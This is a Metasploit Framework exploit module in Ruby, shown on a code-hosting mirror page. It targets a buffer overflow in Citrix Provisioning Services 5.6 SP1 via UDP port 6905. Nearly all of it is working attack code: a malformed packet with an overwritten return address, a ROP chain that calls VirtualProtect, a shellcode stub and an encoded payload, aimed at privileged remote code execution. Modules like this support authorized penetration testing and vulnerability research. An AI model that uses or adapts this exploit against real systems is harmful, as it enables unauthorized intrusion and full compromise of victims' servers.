Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb
19715 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = NormalRanking
10
11
include Msf::Exploit::Remote::Udp
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Citrix Provisioning Services 5.6 SP1 Streamprocess Opcode 0x40020000 Buffer Overflow',
18
'Description' => %q{
19
This module exploits a remote buffer overflow in the Citrix Provisioning Services
20
5.6 SP1 (without Hotfix CPVS56SP1E043) by sending a malformed packet to the
21
6905/UDP port. The module has been successfully tested on Windows Server 2003 SP2,
22
Windows 7, and Windows XP SP3.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'AbdulAziz Hariri', # Initial discovery via ZDI
27
'alino <26alino[at]gmail.com>' # Metasploit module
28
],
29
'References' => [
30
['OSVDB', '75780'],
31
['BID', '49803'],
32
['ZDI', '12-009'],
33
['URL', 'http://support.citrix.com/article/CTX130846']
34
],
35
'DefaultOptions' => {
36
'EXITFUNC' => 'process',
37
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
38
},
39
'Payload' => {
40
'BadChars' => "\x00",
41
'EncoderOptions' => { 'BufferRegister' => 'ECX' },
42
},
43
'Platform' => ['win'],
44
'Targets' => [
45
[
46
'Citrix Provisioning Services 5.6 SP1',
47
{
48
'Offset' => 2012,
49
'Ret' => 0x0045403a # ADD ESP,664; RETN 04 streamprocess.exe
50
}
51
]
52
],
53
'Privileged' => true,
54
'DisclosureDate' => '2011-11-04', # CTX130846 creation date
55
'DefaultTarget' => 0,
56
'Notes' => {
57
'Reliability' => UNKNOWN_RELIABILITY,
58
'Stability' => UNKNOWN_STABILITY,
59
'SideEffects' => UNKNOWN_SIDE_EFFECTS
60
}
61
)
62
)
63
64
register_options([Opt::RPORT(6905)])
65
end
66
67
def exploit
68
packet = "\x00\x00\x02\x40" # DATA MSG
69
packet << rand_text_alpha_upper(18)
70
packet << "\x00\x00\x00\x00" # Length
71
packet << rand_text_alpha_upper(target['Offset'])
72
packet << [target.ret].pack('V')
73
74
rop_nop = [0x004a072c].pack('V') * 38 # RETN streamprocess.exe
75
76
rop_gadgets =
77
[
78
0x0045b141, # POP EAX; RETN streamprocess.exe
79
0x1009a1bc, # VirtualProtect()
80
0x00436d44, # MOV EAX,DWORD PTR DS:[EAX]; RETN streamprocess.exe
81
0x004b0bbe, # XCHG EAX,ESI; RETN streamprocess.exe
82
0x004ad0cf, # POP EBP; RETN streamprocess.exe
83
0x00455d9d, # PUSH ESP; RETN streamprocess.exe
84
0x00497f5a, # POP EAX; RETN streamprocess.exe
85
0xfffff9d0, # dwSize
86
0x00447669, # NEG EAX; RETN streamprocess.exe
87
0x004138a7, # ADD EBX,EAX; XOR EAX,EAX; RETN streamprocess.exe
88
0x00426305, # POP ECX; RETN streamprocess.exe
89
0x00671fb9, # lpflOldProtect
90
0x004e41e6, # POP EDI; RETN streamprocess.exe
91
0x0040f004, # RETN streamprocess.exe
92
0x00495c05, # POP EAX; RETN streamprocess.exe
93
0xffffffc0, # flNewProtect
94
0x0042c79a, # NEG EAX; RETN streamprocess.exe
95
0x0049b676, # XCHG EAX,EDX; RETN streamprocess.exe
96
0x0045c1fa, # POP EAX; RETN streamprocess.exe
97
0x90909090, # NOP
98
0x00435bbe, # PUSHAD; RETN streamprocess.exe
99
].pack("V*")
100
101
packet[258, rop_nop.length] = rop_nop
102
packet[410, rop_gadgets.length] = rop_gadgets
103
packet[494, 10] = "\xeb\x03\x59\xff\xd1\xe8\xf8\xff\xff\xff"
104
packet[504, payload.encoded.length] = payload.encoded
105
106
print_status("Trying target #{target.name}...")
107
108
connect_udp
109
udp_sock.put(packet)
110
111
handler
112
disconnect_udp
113
end
114
end
115
116